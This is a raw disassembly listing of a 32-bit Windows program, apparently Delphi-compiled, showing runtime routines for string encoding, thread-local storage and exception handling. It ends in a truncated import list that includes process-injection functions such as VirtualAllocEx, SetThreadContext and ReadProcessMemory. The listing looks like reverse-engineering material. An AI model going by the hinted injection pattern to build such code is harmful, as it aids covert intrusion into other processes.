--------------------------------------------------------------------------- loc_200054C8: ; CODE XREF: sub_20005484+36j mov eax, ds:dword_20014034 test eax, eax jz short loc_200054E7 loc_200054D1: ; CODE XREF: sub_20005484+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_200054E1 mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short loc_200054E7 ; --------------------------------------------------------------------------- loc_200054E1: ; CODE XREF: sub_20005484+52j mov eax, [eax] test eax, eax jnz short loc_200054D1 loc_200054E7: ; CODE XREF: sub_20005484+42j ; sub_20005484+4Bj ... retn ; --------------------------------------------------------------------------- loc_200054E8: ; DATA XREF: sub_20005484+Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200054B1 ; --------------------------------------------------------------------------- loc_200054EF: ; CODE XREF: sub_20005484:loc_200054E7j ; DATA XREF: sub_20005484+28o pop ecx pop ebp retn sub_20005484 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200054F4 proc near ; CODE XREF: sub_200035A8+7Ep ; sub_2000493C+BFp ... mov edx, [eax] test edx, edx jz short locret_20005508 mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_20005508: ; CODE XREF: sub_200054F4+4j retn sub_200054F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000550C proc near ; CODE XREF: sub_20003578+27j ; sub_200035A8+63p ... test edx, edx jz short loc_20005529 push edx push eax mov eax, [edx] push edx call dword ptr [eax+4] pop eax mov ecx, [eax] pop dword ptr [eax] test ecx, ecx jnz short loc_20005522 retn ; --------------------------------------------------------------------------- loc_20005522: ; CODE XREF: sub_2000550C+13j mov eax, [ecx] push ecx call dword ptr [eax+8] retn ; --------------------------------------------------------------------------- loc_20005529: ; CODE XREF: sub_2000550C+2j mov ecx, [eax] test ecx, ecx mov [eax], edx jz short locret_20005537 mov eax, [ecx] push ecx call dword ptr [eax+8] locret_20005537: ; CODE XREF: sub_2000550C+23j retn sub_2000550C endp ; =============== S U B R O U T I N E ======================================= sub_20005538 proc near ; DATA XREF: CODE:20001130o ; CODE:20006EA8o add eax, 4 push eax ; lpAddend call InterlockedDecrement retn sub_20005538 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005544 proc near ; DATA XREF: CODE:20001134o ; CODE:20006EACo cmp dword ptr [eax+4], 0 jz short locret_20005551 mov al, 2 call sub_20002750 ; --------------------------------------------------------------------------- locret_20005551: ; CODE XREF: sub_20005544+4j retn sub_20005544 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005554 proc near ; DATA XREF: CODE:20001140o ; CODE:20006EB8o call sub_2000348C mov dword ptr [eax+4], 1 retn sub_20005554 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, ebx call sub_200035A8 test al, al jz short loc_20005580 xor eax, eax jmp short loc_20005585 ; --------------------------------------------------------------------------- loc_20005580: ; CODE XREF: CODE:2000557Aj mov eax, 80004002h loc_20005585: ; CODE XREF: CODE:2000557Ej pop ebx pop ebp retn 0Ch ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp mov eax, [ebp+8] add eax, 4 push eax call InterlockedIncrement pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] lea eax, [ebx+4] push eax call InterlockedDecrement mov esi, eax test esi, esi jnz short loc_200055C0 mov dl, 1 mov eax, ebx mov ecx, [eax] call dword ptr [ecx-4] loc_200055C0: ; CODE XREF: CODE:200055B5j mov eax, esi pop esi pop ebx pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200055C8 proc near ; CODE XREF: sub_20012F40+2FAp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_200055D6 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_200055D6: ; CODE XREF: sub_200055C8+8j call ds:off_20014040 pop ebp retn sub_200055C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200055E0 proc near ; CODE XREF: sub_200057F4+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx xor edx, edx cmp [ebp+var_8], 0 jz loc_200056B2 xor esi, esi xor ecx, ecx test eax, eax jz loc_2000568D jmp short loc_20005674 ; --------------------------------------------------------------------------- loc_20005608: ; CODE XREF: sub_200055E0+9Cj mov edx, [ebp+var_8] movzx edx, word ptr [edx+ecx*2] inc ecx cmp edx, 7Fh ja short loc_2000561B mov [eax+esi], dl inc esi jmp short loc_20005674 ; --------------------------------------------------------------------------- loc_2000561B: ; CODE XREF: sub_200055E0+33j cmp edx, 7FFh jbe short loc_20005654 lea ebx, [esi+3] cmp ebx, [ebp+var_4] ja short loc_2000567E mov ebx, edx shr ebx, 0Ch or bl, 0E0h mov [eax+esi], bl mov ebx, edx shr ebx, 6 and bl, 3Fh or bl, 80h mov [eax+esi+1], bl and dl, 3Fh or dl, 80h mov [eax+esi+2], dl add esi, 3 jmp short loc_20005674 ; --------------------------------------------------------------------------- loc_20005654: ; CODE XREF: sub_200055E0+41j lea ebx, [esi+2] cmp ebx, [ebp+var_4] ja short loc_2000567E mov ebx, edx shr ebx, 6 or bl, 0C0h mov [eax+esi], bl and dl, 3Fh or dl, 80h mov [eax+esi+1], dl add esi, 2 loc_20005674: ; CODE XREF: sub_200055E0+26j ; sub_200055E0+39j ... cmp ecx, [ebp+arg_0] jnb short loc_2000567E cmp esi, [ebp+var_4] jb short loc_20005608 loc_2000567E: ; CODE XREF: sub_200055E0+49j ; sub_200055E0+7Aj ... cmp esi, [ebp+var_4] jb short loc_20005687 mov esi, [ebp+var_4] dec esi loc_20005687: ; CODE XREF: sub_200055E0+A1j mov byte ptr [eax+esi], 0 jmp short loc_200056AF ; --------------------------------------------------------------------------- loc_2000568D: ; CODE XREF: sub_200055E0+20j cmp ecx, [ebp+arg_0] jnb short loc_200056AF loc_20005692: ; CODE XREF: sub_200055E0+CDj mov eax, [ebp+var_8] movzx edx, word ptr [eax+ecx*2] inc ecx cmp edx, 7Fh jbe short loc_200056A9 cmp edx, 7FFh jbe short loc_200056A8 inc esi loc_200056A8: ; CODE XREF: sub_200055E0+C5j inc esi loc_200056A9: ; CODE XREF: sub_200055E0+BDj inc esi cmp ecx, [ebp+arg_0] jb short loc_20005692 loc_200056AF: ; CODE XREF: sub_200055E0+ABj ; sub_200055E0+B0j lea edx, [esi+1] loc_200056B2: ; CODE XREF: sub_200055E0+14j mov eax, edx pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_200055E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200056BC proc near ; CODE XREF: sub_200058A0+59p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax cmp [ebp+var_C], 0 jnz short loc_200056DD xor eax, eax mov [ebp+var_10], eax jmp loc_200057E6 ; --------------------------------------------------------------------------- loc_200056DD: ; CODE XREF: sub_200056BC+15j mov [ebp+var_10], 0FFFFFFFFh xor eax, eax xor esi, esi cmp [ebp+var_4], 0 jz loc_2000579B jmp loc_20005779 ; --------------------------------------------------------------------------- loc_200056F7: ; CODE XREF: sub_200056BC+C5j mov edx, [ebp+var_C] xor ecx, ecx mov cl, [edx+esi] inc esi test cl, 80h jz short loc_20005771 cmp esi, [ebp+arg_0] jnb loc_200057E6 and ecx, 3Fh test cl, 20h jz short loc_20005744 mov edx, [ebp+var_C] mov dl, [edx+esi] inc esi mov ebx, edx and bl, 0C0h cmp bl, 80h jnz loc_200057E6 cmp esi, [ebp+arg_0] jnb loc_200057E6 and dl, 3Fh and edx, 0FFh shl ecx, 6 or edx, ecx mov ecx, edx loc_20005744: ; CODE XREF: sub_200056BC+58j mov edx, [ebp+var_C] mov dl, [edx+esi] inc esi mov ebx, edx and bl, 0C0h cmp bl, 80h jnz loc_200057E6 and dl, 3Fh and edx, 0FFh shl ecx, 6 or dx, cx mov ecx, [ebp+var_4] mov [ecx+eax*2], dx jmp short loc_20005778 ; --------------------------------------------------------------------------- loc_20005771: ; CODE XREF: sub_200056BC+47j mov edx, [ebp+var_4] mov [edx+eax*2], cx loc_20005778: ; CODE XREF: sub_200056BC+B3j inc eax loc_20005779: ; CODE XREF: sub_200056BC+36j cmp esi, [ebp+arg_0] jnb short loc_20005787 cmp eax, [ebp+var_8] jb loc_200056F7 loc_20005787: ; CODE XREF: sub_200056BC+C0j cmp eax, [ebp+var_8] jb short loc_20005790 mov eax, [ebp+var_8] dec eax loc_20005790: ; CODE XREF: sub_200056BC+CEj mov edx, [ebp+var_4] mov word ptr [edx+eax*2], 0 jmp short loc_200057E2 ; --------------------------------------------------------------------------- loc_2000579B: ; CODE XREF: sub_200056BC+30j cmp esi, [ebp+arg_0] jnb short loc_200057E2 loc_200057A0: ; CODE XREF: sub_200056BC+124j mov edx, [ebp+var_C] mov dl, [edx+esi] inc esi test dl, 80h jz short loc_200057DC cmp esi, [ebp+arg_0] jnb short loc_200057E6 and dl, 3Fh test dl, 20h jz short loc_200057CD mov edx, [ebp+var_C] mov dl, [edx+esi] inc esi and dl, 0C0h cmp dl, 80h jnz short loc_200057E6 cmp esi, [ebp+arg_0] jnb short loc_200057E6 loc_200057CD: ; CODE XREF: sub_200056BC+FBj mov edx, [ebp+var_C] mov dl, [edx+esi] inc esi and dl, 0C0h cmp dl, 80h jnz short loc_200057E6 loc_200057DC: ; CODE XREF: sub_200056BC+EEj inc eax cmp esi, [ebp+arg_0] jb short loc_200057A0 loc_200057E2: ; CODE XREF: sub_200056BC+DDj ; sub_200056BC+E2j inc eax mov [ebp+var_10], eax loc_200057E6: ; CODE XREF: sub_200056BC+1Cj ; sub_200056BC+4Cj ... mov eax, [ebp+var_10] pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_200056BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200057F4 proc near ; CODE XREF: sub_20005944+28p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20005893 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_20003FA8 mov eax, ebx xor edx, edx call sub_200047DC jz short loc_2000587D mov eax, ebx call sub_200047D0 lea edx, [eax+eax*2] lea eax, [ebp+var_4] call sub_200045D0 mov eax, ebx call sub_200047D0 push eax mov eax, [ebp+var_4] call sub_20004244 inc eax push eax mov eax, ebx call sub_200047C0 push eax mov eax, [ebp+var_4] call sub_20004444 pop ecx pop edx call sub_200055E0 test eax, eax jle short loc_2000586B mov edx, eax dec edx lea eax, [ebp+var_4] call sub_200045D0 jmp short loc_20005873 ; --------------------------------------------------------------------------- loc_2000586B: ; CODE XREF: sub_200057F4+68j lea eax, [ebp+var_4] call sub_20003FA8 loc_20005873: ; CODE XREF: sub_200057F4+75j mov eax, esi mov edx, [ebp+var_4] call sub_20003FFC loc_2000587D: ; CODE XREF: sub_200057F4+29j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000589A loc_2000588A: ; CODE XREF: sub_200057F4+A4j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20005893: ; DATA XREF: sub_200057F4+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000588A ; --------------------------------------------------------------------------- loc_2000589A: ; CODE XREF: sub_200057F4+9Ej ; DATA XREF: sub_200057F4+91o pop esi pop ebx pop ecx pop ebp retn sub_200057F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200058A0 proc near ; CODE XREF: sub_20011FAC+ADp var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20005937 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_20004664 test ebx, ebx jz short loc_20005921 mov eax, ebx call sub_20004244 mov edx, eax lea eax, [ebp+var_4] call sub_200048AC mov eax, ebx call sub_20004244 push eax mov eax, [ebp+var_4] call sub_200047D0 inc eax push eax mov eax, ebx call sub_20004444 push eax mov eax, [ebp+var_4] call sub_200047C0 pop ecx pop edx call sub_200056BC test eax, eax jle short loc_2000590F mov edx, eax dec edx lea eax, [ebp+var_4] call sub_200048AC jmp short loc_20005917 ; --------------------------------------------------------------------------- loc_2000590F: ; CODE XREF: sub_200058A0+60j lea eax, [ebp+var_4] call sub_20004664 loc_20005917: ; CODE XREF: sub_200058A0+6Dj mov eax, esi mov edx, [ebp+var_4] call sub_200046A0 loc_20005921: ; CODE XREF: sub_200058A0+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000593E loc_2000592E: ; CODE XREF: sub_200058A0+9Cj lea eax, [ebp+var_4] call sub_20004664 retn ; --------------------------------------------------------------------------- loc_20005937: ; DATA XREF: sub_200058A0+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000592E ; --------------------------------------------------------------------------- loc_2000593E: ; CODE XREF: sub_200058A0+96j ; DATA XREF: sub_200058A0+89o pop esi pop ebx pop ecx pop ebp retn sub_200058A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005944 proc near ; CODE XREF: sub_200124D8+1Ep var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20005987 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] mov edx, ebx call sub_200047B0 mov eax, [ebp+var_4] mov edx, esi call sub_200057F4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000598E loc_2000597E: ; CODE XREF: sub_20005944+48j lea eax, [ebp+var_4] call sub_20004664 retn ; --------------------------------------------------------------------------- loc_20005987: ; DATA XREF: sub_20005944+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000597E ; --------------------------------------------------------------------------- loc_2000598E: ; CODE XREF: sub_20005944+42j ; DATA XREF: sub_20005944+35o pop esi pop ebx pop ecx pop ebp retn sub_20005944 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005994 proc near ; CODE XREF: sub_20003D54+16p ; sub_20009D9C+2Ep ... Buffer = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_200059E1 cmp dword ptr [ebx+4], 10000h jge short loc_200059D7 push 400h ; cchBufferMax lea eax, [esp+40Ch+Buffer] push eax ; lpBuffer mov eax, [ebx+4] push eax ; uID mov eax, [ebx] mov eax, [eax] call sub_20004F24 push eax ; hInstance call LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_20004098 jmp short loc_200059E1 ; --------------------------------------------------------------------------- loc_200059D7: ; CODE XREF: sub_20005994+17j mov eax, esi mov edx, [ebx+4] call sub_200041A0 loc_200059E1: ; CODE XREF: sub_20005994+Ej ; sub_20005994+41j add esp, 400h pop esi pop ebx retn sub_20005994 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200059EC proc near ; CODE XREF: sub_20005AB4+ADp ; sub_20005AB4+BEp var_10 = dword ptr -10h LCData = byte ptr -0Bh var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx xor edx, edx push ebp push offset loc_20005A52 push dword ptr fs:[edx] mov fs:[edx], esp push 7 ; cchData lea edx, [ebp+LCData] push edx ; lpLCData push 1004h ; LCType push eax ; Locale call GetLocaleInfoA lea eax, [ebp+var_10] lea edx, [ebp+LCData] mov ecx, 7 call sub_20004218 mov eax, [ebp+var_10] lea edx, [ebp+var_4] call sub_20002F88 mov ebx, eax cmp [ebp+var_4], 0 jz short loc_20005A3C xor ebx, ebx loc_20005A3C: ; CODE XREF: sub_200059EC+4Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005A59 loc_20005A49: ; CODE XREF: sub_200059EC+6Bj lea eax, [ebp+var_10] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20005A52: ; DATA XREF: sub_200059EC+Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005A49 ; --------------------------------------------------------------------------- loc_20005A59: ; CODE XREF: sub_200059EC+65j ; DATA XREF: sub_200059EC+58o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_200059EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005A60 proc near ; DATA XREF: CODE:200132C0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005AAA push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_200155B4 jnz short loc_20005A9C mov eax, offset dword_20015048 call sub_20002D94 mov eax, offset dword_20015214 call sub_20002D94 mov eax, offset dword_200153E0 call sub_20002D94 call sub_20001A6C loc_20005A9C: ; CODE XREF: sub_20005A60+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005AB1 loc_20005AA9: ; CODE XREF: sub_20005A60+4Fj retn ; --------------------------------------------------------------------------- loc_20005AAA: ; DATA XREF: sub_20005A60+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005AA9 ; --------------------------------------------------------------------------- loc_20005AB1: ; CODE XREF: sub_20005A60:loc_20005AA9j ; DATA XREF: sub_20005A60+44o pop ebp retn sub_20005A60 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005AB4 proc near ; DATA XREF: CODE:200132BCo sub ds:dword_200155B4, 1 jnb locret_20005B86 mov ds:byte_20014008, 2 mov ds:dword_20015014, offset RaiseException mov ds:dword_20015018, offset RtlUnwind mov ds:byte_20015046, 2 mov ds:dword_20015000, offset loc_20004C5C call sub_20003364 test al, al jz short loc_20005AFB call sub_20003394 loc_20005AFB: ; CODE XREF: sub_20005AB4+40j call sub_20003458 mov ds:word_2001504C, 0D7B0h mov ds:word_20015218, 0D7B0h mov ds:word_200153E4, 0D7B0h call GetCommandLineA mov ds:dword_2001503C, eax call sub_200012B8 mov ds:dword_20015038, eax call GetVersion and eax, 80000000h cmp eax, 80000000h jz short loc_20005B6D call GetVersion and eax, 0FFh cmp ax, 4 jbe short loc_20005B5C mov ds:CodePage, 3 jmp short loc_20005B7C ; --------------------------------------------------------------------------- loc_20005B5C: ; CODE XREF: sub_20005AB4+9Aj call GetThreadLocale call sub_200059EC mov ds:CodePage, eax jmp short loc_20005B7C ; --------------------------------------------------------------------------- loc_20005B6D: ; CODE XREF: sub_20005AB4+8Aj call GetThreadLocale call sub_200059EC mov ds:CodePage, eax loc_20005B7C: ; CODE XREF: sub_20005AB4+A6j ; sub_20005AB4+B7j call GetCurrentThreadId mov ds:dword_20015030, eax locret_20005B86: ; CODE XREF: sub_20005AB4+7j retn sub_20005AB4 endp ; --------------------------------------------------------------------------- align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_20005BA8 proc near ; CODE XREF: sub_20005BBC+21p push eax ; uBytes push 40h ; uFlags call LocalAlloc_0 retn sub_20005BA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005BB4 proc near ; CODE XREF: sub_20005BBC+1p mov eax, 0Ch retn sub_20005BB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005BBC proc near ; CODE XREF: sub_20005C00:loc_20005C1Ap push ebx call sub_20005BB4 mov ebx, eax test ebx, ebx jz short loc_20005BFE cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_20005BDB mov eax, 0E2h call sub_20003F9C ; --------------------------------------------------------------------------- loc_20005BDB: ; CODE XREF: sub_20005BBC+13j mov eax, ebx call sub_20005BA8 test eax, eax jnz short loc_20005BF2 mov eax, 0E2h call sub_20003F9C ; --------------------------------------------------------------------------- jmp short loc_20005BFE ; --------------------------------------------------------------------------- loc_20005BF2: ; CODE XREF: sub_20005BBC+28j push eax ; lpTlsValue mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsSetValue loc_20005BFE: ; CODE XREF: sub_20005BBC+Aj ; sub_20005BBC+34j pop ebx retn sub_20005BBC endp ; =============== S U B R O U T I N E ======================================= sub_20005C00 proc near ; CODE XREF: sub_20002704+20p ; sub_2000275C+3p ... mov cl, ds:byte_2001565C mov eax, ds:TlsIndex test cl, cl jnz short loc_20005C35 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_20005C1A: ; CODE XREF: sub_20005C00+3Dj call sub_20005BBC mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_20005C2F retn ; --------------------------------------------------------------------------- loc_20005C2F: ; CODE XREF: sub_20005C00+2Cj mov eax, ds:dword_20015668 retn ; --------------------------------------------------------------------------- loc_20005C35: ; CODE XREF: sub_20005C00+Dj push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_20005C1A retn sub_20005C00 endp ; =============== S U B R O U T I N E ======================================= sub_20005C40 proc near ; CODE XREF: sub_20005C4C+2Ep mov eax, offset dword_200140C0 call sub_20005474 retn sub_20005C40 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005C4C proc near ; CODE XREF: CODE:2001337Ep push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 ; lpModuleName call GetModuleHandleA_0 mov ds:dword_20015660, eax mov eax, ds:dword_20015660 mov ds:dword_200140C4, eax xor eax, eax mov ds:dword_200140C8, eax xor eax, eax mov ds:dword_200140CC, eax call sub_20005C40 mov edx, offset dword_200140C0 mov eax, ebx call sub_20003D14 pop ebx retn sub_20005C4C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005C90 proc near ; DATA XREF: CODE:200132B8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005CB5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015664 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005CBC loc_20005CB4: ; CODE XREF: sub_20005C90+2Aj retn ; --------------------------------------------------------------------------- loc_20005CB5: ; DATA XREF: sub_20005C90+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005CB4 ; --------------------------------------------------------------------------- loc_20005CBC: ; CODE XREF: sub_20005C90:loc_20005CB4j ; DATA XREF: sub_20005C90+1Fo pop ebp retn sub_20005C90 endp ; --------------------------------------------------------------------------- align 10h loc_20005CC0: ; DATA XREF: CODE:off_200132B4o sub ds:dword_20015664, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005CC8 proc near ; DATA XREF: CODE:200132C8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005CED push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_2001566C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005CF4 loc_20005CEC: ; CODE XREF: sub_20005CC8+2Aj retn ; --------------------------------------------------------------------------- loc_20005CED: ; DATA XREF: sub_20005CC8+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005CEC ; --------------------------------------------------------------------------- loc_20005CF4: ; CODE XREF: sub_20005CC8:loc_20005CECj ; DATA XREF: sub_20005CC8+1Fo pop ebp retn sub_20005CC8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005CF8 proc near ; DATA XREF: CODE:200132C4o sub ds:dword_2001566C, 1 retn sub_20005CF8 endp ; [00000006 BYTES: COLLAPSED FUNCTION GetUserNameA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CompareStringA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CreateEventA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FormatMessageA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetACP. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCPInfo. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetDateFormatA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFullPathNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLocalTime. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetStringTypeExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadContext. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ReadFile_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ReadProcessMemory. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ResetEvent. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ResumeThread. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SetEvent. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SetThreadContext. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualAllocEx. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: 